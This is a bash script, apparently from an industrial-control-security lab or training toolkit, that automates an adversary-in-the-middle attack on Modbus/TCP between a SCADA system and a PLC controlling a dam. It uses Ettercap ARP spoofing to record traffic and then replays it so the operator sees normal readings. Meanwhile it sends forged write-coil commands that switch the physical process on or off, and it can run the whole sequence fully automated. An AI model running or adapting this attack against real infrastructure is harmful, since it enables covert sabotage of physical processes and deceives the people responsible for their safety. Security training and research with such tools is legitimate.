#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Default values for Modbus slave ID, coil address, and coil value
DEFAULT_SLAVE_ID=1
DEFAULT_COIL_ADDRESS=88
DEFAULT_COIL_VALUE=255

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to stop Ettercap and clean up before exiting the script
cleanup(){
	echo ""
	echo "[+] Stopping the Ettercap process."
	kill -15 $pid_ettercap
	/bin/rm -f /tmp/payloads*
	exit 1
}

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the PLC IP address : " plc_ip
	while ! (ping -c 1 -W 2 $plc_ip > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the PLC IP address : " plc_ip
	done

	echo ""
	read -p "[+] Please enter the SCADA IP address : " scada_ip
	while ! (ping -c 1 -W 2 $scada_ip > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the SCADA IP address : " scada_ip
	done
	
	echo ""
	echo "[+] Now, we will record all Modbus traffic between the SCADA and PLC for the specified duration."
	read -p "[+] Please enter the duration (in seconds) for recording the Modbus packets: " duration
}

# Function for recording Modbus packets exchanged between SCADA and PLC
record_modbus_package() {

	rm -f "/tmp/pkt01"
	rm -f "/tmp/pkt03"
	rm -f "/tmp/pkt48"

	echo "[+] Starting to record Modbus traffic for $duration seconds between SCADA ($scada_ip) and PLC ($plc_ip)."
	interface=$(ip route get $plc_ip | grep -oP 'dev \K\w+')
	(timeout $duration ettercap -i $interface -q -F ./ettercap_filters/record.efc -T -M arp /$scada_ip// /$plc_ip//) > /dev/null 2>&1

	packet_count_01=$(./scripts/store_payloads.sh 01)
	if [ $packet_count_01 -eq 0 ]; then
    	echo_warning "No Modbus packets of type 0x01 (Read Coils) received."
		echo_warning "As a result, some malicious actions may be visible on the SCADA system."
	fi

	packet_count_03=$(./scripts/store_payloads.sh 03)
	if [ $packet_count_03 -eq 0 ]; then
    	echo_warning "No Modbus packets of type 0x03 (Read Holding Registers) received."
		echo_warning "As a result, some malicious actions may be visible on the SCADA system."
	fi

	packet_count_48=$(./scripts/store_payloads.sh 48)
	if [ $packet_count_48 -eq 0 ]; then
    	echo_warning "No Modbus packets of type 0x30 (Read Input Registers) received."
		echo_warning "As a result, some malicious actions may be visible on the SCADA system."
	fi

	total_packet_count=$(($packet_count_48 + $packet_count_03 + $packet_count_01))
	echo -e "[+] Recording completed! A total of $total_packet_count packets were captured.\n"
}

# Function to replay the recorded Modbus package in a loop
replay_modbus_package() {
	echo "[+] Starting to replay the recorded Modbus packets in a loop."
	(sudo ettercap -i $interface -q -F ./ettercap_filters/write.efc -T -M arp /$scada_ip// /$plc_ip// --lua-script=./scripts/modify_modbus_packets.lua ) > /dev/null 2>&1 &
	pid_ettercap=$!

	sleep 2
	if ! ps -p $pid_ettercap > /dev/null; then
    	echo "[!] Failed to start Ettercap."
		exit 1
	fi

	echo ""
    echo_warning "Ettercap is now running in the background. If this script is stopped unexpectedly (e.g., by closing the terminal),\nEttercap will continue running. To stop it, you will need to manually terminate the Ettercap process.\nIf not terminated, Ettercap will keep spoofing the communication between the PLC and SCADA system.\n"
	trap cleanup SIGINT
}

# Function to access the Modbus/TCP console, allowing the user to modify certain coil values on the PLC
modbus_tcp_console() {
	slave_id="$DEFAULT_SLAVE_ID"
	coil_address="$DEFAULT_COIL_ADDRESS"
	coil_value="$DEFAULT_COIL_VALUE"

	echo "[+] Welcome to the Modbus/TCP console"
	while true;
	do

		read -p "[+] Type a command ('h' to get some help) : " cmd

		case $cmd in
		(H|h)
			echo
			echo "	's' : Modify the slave ID"
			echo "	'c' : Modify the coil address"
			echo "	'v' : Modify the coil value"
			echo "	'e' : Execute the attack"
			echo "	'q' : stop the attack"
			echo
			;;
		(S|s)
			echo ""
			while true; do
				read -p "[+] Indicate the slave ID (default is $DEFAULT_SLAVE_ID): " slave_id
				slave_id=${slave_id:-$DEFAULT_SLAVE_ID}

				if [[ $slave_id =~ ^[0-9]+$ && $slave_id -ge 1 && $slave_id -le 256 ]]; then
					break
				else
					echo "[!] Invalid input! Slave ID must be a number between 1 and 256."
				fi
			done
			echo ""
			;;
		(C|c)
			echo ""
			while true; do
				read -p "[+] Indicate the coil address (default is $DEFAULT_COIL_ADDRESS): " coil_address
				coil_address=${coil_address:-$DEFAULT_COIL_ADDRESS}

				if [[ $coil_address =~ ^[0-9]+$ && $coil_address -ge 0 && $coil_address -le 65535 ]]; then
					break
				else
					echo "[!] Invalid input! coil address must be a number between 0 and 65535."
				fi
			done
			echo ""
			;;
		(V|v)
			echo ""
			while true; do
				read -p "[+] Indicate a coil value (e.g., ON=255 and OFF=0): " coil_value
				if [[ $coil_value =~ ^[0-9]+$ && $coil_value -ge 0 && $coil_value -le 65535 ]]; then
					break
				else
					echo "[!] Invalid input! coil value must be a number between 0 and 65535."
				fi
			done
			echo ""
			;;
		(E|e)
			python3 ./scripts/write_single_coil.py $plc_ip $PLC_PORT $slave_id $coil_address $coil_value
			echo ""
			;;
		(Q|q)
			break
			;;
		(*)
			echo "[!] Unknown command. Type 'h' to get some help"
			;;
		esac
	done

	echo ""
	echo "[+] Stopping the Ettercap process."
	kill -15 $pid_ettercap
	
	/bin/rm -f /tmp/payloads*
}

# Function to execute the entire attack process
run_attack(){
	replay_modbus_package 

	modbus_tcp_console 
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the Adversary-in-the-Middle Modbus attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Record Modbus Communication ========"
	echo ""
	echo "[+] Firstly, you need to know the IP addresses of the the PLC host and the SCADA host so we can conduct an ARP spoofing attack thanks to Ettercap."
	echo "[+] This will allow your PC to intercept all packets transmitted between the SCADA and the PLC."
	get_attack_info

	echo ""
	record_modbus_package 

	echo "======== STEP 2 : Replay Captured Modbus Packets ========"
	echo ""

	echo "[+] All the packets are stored in /tmp/payloads<data_length>"
	echo "[+] Now, we will begin resending these recorded Modbus packets in a loop to the SCADA system."
	echo "[+] This replay will simulate normal operations on the SCADA system, while we secretly manipulate the physical processes."
	echo "[+] Press ENTER to start the packet injection loop..."
	read -n 1 wait
	replay_modbus_package 

	echo "======== STEP 3 : Manipulate Physical Process ========"
	echo ""

	echo "[+] You can now modify the state of the physical processes using forged Modbus/TCP packets without the technician being aware of anything !"
	echo "[+] Firstly you need to specify the slave ID of the Modbus slave host by the PLC"
	while true; do
		read -p "[+] Indicate the slave ID (default is $DEFAULT_SLAVE_ID): " slave_id
		slave_id=${slave_id:-$DEFAULT_SLAVE_ID}
		if [[ $slave_id =~ ^[0-9]+$ && $slave_id -ge 1 && $slave_id -le 256 ]]; then
			break
		else
			echo "[!] Invalid input! Slave ID must be a number between 1 and 256."
		fi
	done

	echo ""
	echo "[+] Now you need to specify the coil address you want to overwite."
	echo "[+] The default address corresponds to the coil that turns the physical process ON or OFF."
	while true; do
		read -p "[+] Indicate the coil address (default is $DEFAULT_COIL_ADDRESS): " coil_address
		coil_address=${coil_address:-$DEFAULT_COIL_ADDRESS}
		if [[ $coil_address =~ ^[0-9]+$ && $coil_address -ge 0 && $coil_address -le 65535 ]]; then
			break
		else
			echo "[!] Invalid input! coil address must be a number between 0 and 65535."
		fi
	done

	echo ""
	echo "[+] Finally you need to specify the value you want to put in that coil"
	while true; do
		read -p "[+] Indicate a coil value (e.g., ON=255 and OFF=0): " coil_value
		if [[ $coil_value =~ ^[0-9]+$ && $coil_value -ge 0 && $coil_value -le 65535 ]]; then
			break
		else
			echo "[!] Invalid input! coil value must be a number between 0 and 65535."
		fi
	done

	python3 ./scripts/write_single_coil.py $plc_ip $PLC_PORT $slave_id $coil_address $coil_value
	echo ""

	modbus_tcp_console 

	echo ""
	echo "[+] If you want to replay this attack with the non interactive mode, the command is :"
	echo "sudo ./exploit.sh -all ${plc_ip} ${scada_ip} ${duration} "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

	echo ""
	record_modbus_package 

	run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
			record_modbus_package 
			run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            record_modbus_package
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

echo "===================================================================================== " 
echo "              _____ _______ __  __   __  __           _ _                "
echo "        /\   |_   _|__   __|  \/  | |  \/  |         | | |               "
echo "       /  \    | |    | |  | \  / | | \  / | ___   __| | |__  _   _ ___  "
echo '      / /\ \   | |    | |  | |\/| | | |\/| |/ _ \ / _` |  _ \| | | / __| '
echo "     / ____ \ _| |_   | |  | |  | | | |  | | (_) | (_| | |_) | |_| \__ \ "
echo '    /_/    \_\_____|  |_|  |_|  |_| |_|  |_|\___/ \__,_|_.__/ \__,_|___/ '
echo ""                                                                    
echo "===================================================================================== "                                                                        
                                                                                                                                 
echo ""
echo "[+] You are about to initiate a AiTM attack on Modbus/TCP!"
echo "[+] The aim of this attack is to deceive the technician monitoring the SCADA system into believing that the dam is functioning properly."
echo ""

# General configuration variables
PLC_PORT=502

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root because Ettercap requires root privileges to establish sockets at the link layer." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 4 arguments, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
	attack_phase=$1
	plc_ip=$2
	scada_ip=$3
	duration=$4
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0